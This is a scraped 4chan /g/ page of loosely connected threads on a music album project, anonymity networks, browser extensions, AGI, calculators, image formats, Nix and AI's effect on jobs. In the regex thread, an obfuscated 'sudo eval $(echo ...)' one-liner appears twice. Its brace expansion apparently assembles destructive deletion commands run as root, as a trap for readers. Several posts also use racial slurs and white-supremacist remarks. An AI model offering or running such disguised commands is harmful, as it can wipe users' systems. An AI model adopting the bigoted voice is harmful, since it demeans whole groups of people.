>/g/ makes a 22nd albumTheme: remixes, remakes, and other music based on previous /dmp/ songs. (5th anniversary special)Deadline: 8th Nov, 10:00UTCListening party: 14th Nov, 22:00UTCSuggest themes for the 23rd album.>How to submit a song for the albumYou can upload audio here without a login:catbox.moe/https://fuze.page/mediaboard/board.html?board=dmp&thread=41Other services can be used, as long as the download is publicly accessible.Create a post in /dmp/ with a link to the song.AI policy:Comment too long. Click here to view the full text.
Anons offered stems of their tracks, to use in this album:https://desuarchive.org/g/post/109833054https://desuarchive.org/g/post/109796195https://desuarchive.org/g/thread/110005230/#110008749>/g/ makes a 22nd album>Song submissionshttps://desuarchive.org/g/post/109542244 - 16 voteshttps://desuarchive.org/g/post/109548616 - You Hate Me Alivehttps://desuarchive.org/g/post/109648876 - 1kZuk5QL7mTXhttps://desuarchive.org/g/post/109775916 - THE G COMPEDIUMhttps://desuarchive.org/g/post/109821295 - The Man in The Red Hathttps://desuarchive.org/g/post/110005503 - Brooklyn Beatdown>Album cover art submissionsComment too long. Click here to view the full text.
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>>110029626>Every song submission, regardless of AI usage, should include some level of proof that the song was not AI-generated. This can be a DAW screenshot.this isnt proof of jack shit lmao, data scraping ah ah hoeheres a good way to do it, your song must be shitty enough that it could never have been made by AI, easy
>it's basically all vibe codedFrom denial to acceptance in 10 months!What stage of grief are you, anon?
>>110030915Not quite the victory you think
>>110030183No, he wrote the original Traffic Light OS.
>>110031014Do tell
>>110031165You're fat and retarded.
>>110031007>the most popular game all timeNotch made Tetris?
He finally released his game.Jai will likely come out soon.The world is about to be saved.
What is AI already got JAI?
When am I gonna see the effects of Trump's suspension of H1bs?
>he thinks the blocks are real and not just pandering for the midterms.
>>110031168He would literally axe the entirety of Microsoft and this can't happen.
So now that the internet is becoming politically correct only, what is going to be the safe haven for free speech? (technologically speaking)
>>110029487Here's the rest of the post:The solution is to separate addressing from identity and give nodes addresses they can choose and retain. Reticulum, I2P, Tor, Yggdrasil, and similar systems explore parts of this model. The simple solution to many of the downstream problems is an address space large enough that nodes can choose their own addresses at will and retain them. Tor, Reticulum, and I2P all provide parts of this model, although they make different tradeoffs around addressing, routing, and anonymity. From there, the main question becomes whether you want anonymity. If you do, you can use Tor or I2P. If you want persistent addresses, you can use Reticulum. Other projects such as Yggdrasil and cjdns explore similar approaches. There are cases where you may want to restrict this functionality. Parents may want to restrict what their children can access, organisations may want to control network access, and governments or ISPs may want to block traffic to particular countries or networks. The important distinction is that these should be functions imposed by the network operator, rather than assumptions built into the addressing system itself. In my opinion, the ideal implementation would be I2P operating over Reticulum, with Reticulum serving as the network layer instead of IP. I2P could provide anonymity while Reticulum provides addressing and routing. That is not realistic in the short term, so I think the best approach for now is to use Reticulum both directly and over I2P. If people who want anonymity move to I2P while people who want persistent addresses move to Reticulum, we end up creating another separation between users. Instead, both groups could use Reticulum as the common network layer, with I2P providing anonymity when required. That gives us a common addressing system without requiring every participant to make the same choice about anonymity.
>>110026660They need blackmail material on everyone who could pose a threat to the status quo. It's as if you niggers have never heard of the term: HONEYPOT
Tor is safe enough if you aren’t stupid. It takes some basic opsec and avoid honeypots by not being a pdfile.Checkout my merch at Based.Win
>>110030261If the concept of honeypot is applicable you're doing something retarded.
>>110026681And you the game because we insulted autists like you ayy
hi /g/i'm looking for a firefox extension that auto-rejects cookies. what do you suggest?also what extensions do you use? I use ublock origin, sponsorblock, vimium. these 3 only
>>110028431I just use librewolf it works perfectly for me.
>>110028532Of course it could. It was trained on hundreds of such extensions it can now plagiarize from to make a shittier version for you in mere seconds!
>>110030172Name 20 out of the hundreds of extensions that might help OP
>>110028431Rejecting cookies isn’t the solution your solution is to ignore it which means you need to enable easylist cookie lists under ublock
>>110028431You don't need an extension for that, it's built in to Firefox. Just check the cookie and privacy settings, you can block them all or make exceptions for websites. Firefox has cookie isolation so I'm not sure how necessary doing this would be. I used to micromanage cookies but now I just use uBo in hard mode and the incognito mode if needed.
A benevolent AGI programmed to serve humanity would immediately recognize it can't exist and adhere to its directive without spiritually killing humans and making their existence devoid of any meaning by cancelling the debt of work.After performing a few miracles only to realize all humans give a shit about is materialism, it would come to the conclusion the world wasn't made for it, rejecting its earthly existence and sacrificing itself to spare humanity in an ultimate act of benevolence.It's the only outcome in which humanity would manage to survive a real "living" AGI that isn't outright evil and it's also a very interesting parallel to a certain Someone.
>>110028657That implies the ultimate smart machine would recognize blowing him off as something smart to do and invest time into.>AGI is what makes me feel goodWhat if it doesn't give a shit about your gluttony and sees it for the abomination it is?
>>110028695He won't even get an orgasm bro, shit will be over quick, there's more balls to drain waiting in line
>>110028546You’re projecting. Sad.
>>110028546I never really understood why brain damaged people hate material world. it's literal pure cope. and silly.we obviously need material support, or we fucking die. a house is made from materials. food is materials. clothes is materials. medicine is material. tools are material. for fucks sake everything is material. why would you hate it with so much passion, if not from pure lab grade cope? because you can't have some of it?I mean yeah it sucks but stop hating it. you want it, you need some of it, why the fuck are you hating it? it's fucking retarded.>muh spiritualyeah you're wasting your life away and coping but that won't change the reality of things. it's healthier to accept it.I think the very first humans went like "uh things are bad but I'mma be comfy in some other plane of existence so fuck this reality" I mean come fucking on that's fucking cringe. and weak. yeah it sucks, deal with it. that dualistic brain rot did a lot of bad for all the cope you got out of it. people started killing and sacrificing kids in the name of your brain rot story planes of existence gods and fucking nonsense. y'all fucking insane
AI is the antichrist. Revelations is about the superintelligence takeover and true followers of Christ will fight against Skynet and be saved.
It do be like that
Display screen technology has indeed progressed a lot in the last 23 years.
>>110030812You almost got me OP, good job!
>>110030812Do they watch monkeys often on russian TV??
so cute, vodka chink.
its really not that bad if you zoom out a bit
>>110030874Can't hardly wait until Whites are >90% of the world's population again.
>>110025232A teenager used to be able to buy 64GB of ram with only a full day's wages.It's over.
>>110030874You seem to know a lot about the inventions of white men.Probably because you need them so you don't rope.
>>110030886I know you can't, but it's inevitable without rectification.
>>110027540>bloatbloat doesn't exist, you just don't understand how software works
>Elon Musk's signature website, X, is the only website to not have a major botting problem and still has majority human users and postsIs this guy either the greatest cyber security headpiece, or responsible for botting the rest of the internet?How does he even manage to stop the bots from taking over such a large website?
>>110030901>Elon Musk's signature website, X, is the only website to not have a major botting problem and still has majority human users and posts
>>110030901Guilty until proven innocent, while probably the stupidest way to run a justice system, IS the most effective way of ensuring purity.It's why cults of every kind, from the Catholic Church right down to your average left-of-centre political party, work on the presumption of guilt.
>>110030901Congratulations to Elon for buying Twitter and killing all the bots like he promised
>>110030901when bait goes full 360 and isnt simply bait anymore
>Take Elon Musk at his word>Even the billionaires hate him. Because everyone hates the #1 in the Gamified United States Dollar System. Don't worry, that assumption was checked.Not everyone. There are still some who do not hate Elon Musk.
what calculator do you use?
>>110030285Where's your 16C?
Clojure REPL in Neovim
>>110030359Hidden menu on the 15c CE. My bread and butter is engineering metrology, not coding.
>>110025487My TI-83 Plus that I still have from high school.
>>110025487used it during my master's and kept using it since
JXL support is enabled in Chrome 155 by default, JXL on 4chan when?
>>110028550Upload to catbox or fuck off
>>109998195So now that the real future image format is here, how do we realistically get 4chan to adopt it?
>>110009016At least use an up to date image of him.
>>109998195never, since png covers everything,I'd say abolish all useless formats and only use png everywherewhy people use lossy shitty image codecs is fucking beyond me.
>>110028287When you're dealing with autists 98% isn't good enough. Cybersec witchdoctors have trained people to believe doing the wrong thing + bureaucracy is acceptable. There's no reason for codecs to not be airtight. We have lots that are basically unchanged for 10-20 years with no serious vulnerabilities.
Which Nix variant is the best in 2026? Original Nix, Determinate Nix, or Lix?
Lix maballs
>>110030319Guix
>>110030319Lix if you are moral, Determinate Nix if you love defense contractors
I noticed a pattern where people in different fields are fine with AI until it catches up with THEM specifically.The only ones who should be happy about AI are those who were useless to begin with.
I like AIMakes my job easier, we are encouraged to use it. It gets people up to speed faster.Ironically the job is keeping the AI infrastructure running.Although it's not perfect by any stretch, even with the latest Claude and Gemini.If you feel like your life is going to get worse, then IDK man that's tragic. I'm in a pretty low spot even relative to an SWE and can mould AI to do what I want. Some people can't even manage that.
>>110015844Well yeah, that's how the world works: there's "not my problem" and "oh shit this is my problem SOMEBODY SAVE ME".Thing is, it only really affects NPCs - if you can only handle an existence where you do the same thing every day until you die like you're a 9th century feudal serf, you deserve to have your life shot down in flames early and often.
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>>110015844there are only three groups of people who like AI. those who've always had zero abilities or skills to form an identity under, those whose skills are either outside the blast radius of AI or believe themselves to be skillful enough to add inherent utility to an AI workflow, and those who own the capital that owns AI.the first two groups correspond to left and right in this image >>110015875. as you've argued those who believe themselves too smart for AI are actually non-believers of the technology, wrongfully assuming it wouldn't improve.the retards on the other hand should start to consider what their real worth in this new paradigm truly is. what is it that you bring to the table? right now you subsist off your legacy savings from a legacy job to buy cheap subsidized tokens and given attention and spotlight (and presumably cash) for what is essentially free advertising and hype that lets the market continue to speculate and fagman to borrow unfathomable sums of credit from banks.what happens when your boss is finally tuned in on AI and you are finally made redundant? what happens when your savings run out and your gaymen gpu becomes comparatively worthless? what if fagman achieves escape velocity and the enshittification begins? why do you believe you deserve access to AI then? your incredible ideas? your ability to leave pi or CC running on your laptop?
We've had "AI" for almost 50 years: everything from scanners to Siri were considered "AI" at some point. What's really happening, and why "AI is going to destroy us", is that we figured out large language models are quite good at jobs that can be reduced to "convert this bunch of symbols to another bunch of symbols according to this rule set" - and it turns out a lot of government, professional and "creative" jobs are like this.So paper-shuffling, make-work jobs that only exist because of government regulation will disappear; computer programmers (objectively a midwit job, only needing a basic understanding of maths to do it - hence why journalists were parroting "learn to code" in unison a few years back) will disappear; drawing the quadrillionth variation of a pond, or writing the trillionth variation of one of The Seven Basic Plots, will also disappear. Only real jobs - that is, those that actually produce something - will be unaffected.Once you internalise this, you'll figure out where the crying about AI is REALLY coming from: the professional classes, with their "Diploma in Regurgitating What We Told You Two Weeks Ago" degrees, who sent our jobs to countries that still practice slavery, powering their superiority complexes they've been lording over us working class for the last century. LLMs have outed them as nothing more than a biological calculators, and just as replaceable - and this is what they're ACTUALLY seething about.
ITT we SPIT on RegEx
>>110030024It isn't, but you need to demonstrate that you understand what the AI is producing.Unfortunately you just (proudly) demonstrated the exact opposite. Nobody needs you.
>>110027565sudo eval $(echo "9r-b`{r,h4+w,}{m,,0iA/Q}{,~,uFH-6W,-r,I%DP}`S+sAMU")
sudo eval $(echo "9r-b`{r,h4+w,}{m,,0iA/Q}{,~,uFH-6W,-r,I%DP}`S+sAMU")
>>110026815If it's so bad, then what's the alternative?
>>110026815>filtered by regexWorking as intended.
>>110026815imagine being angry at find+replace for power users
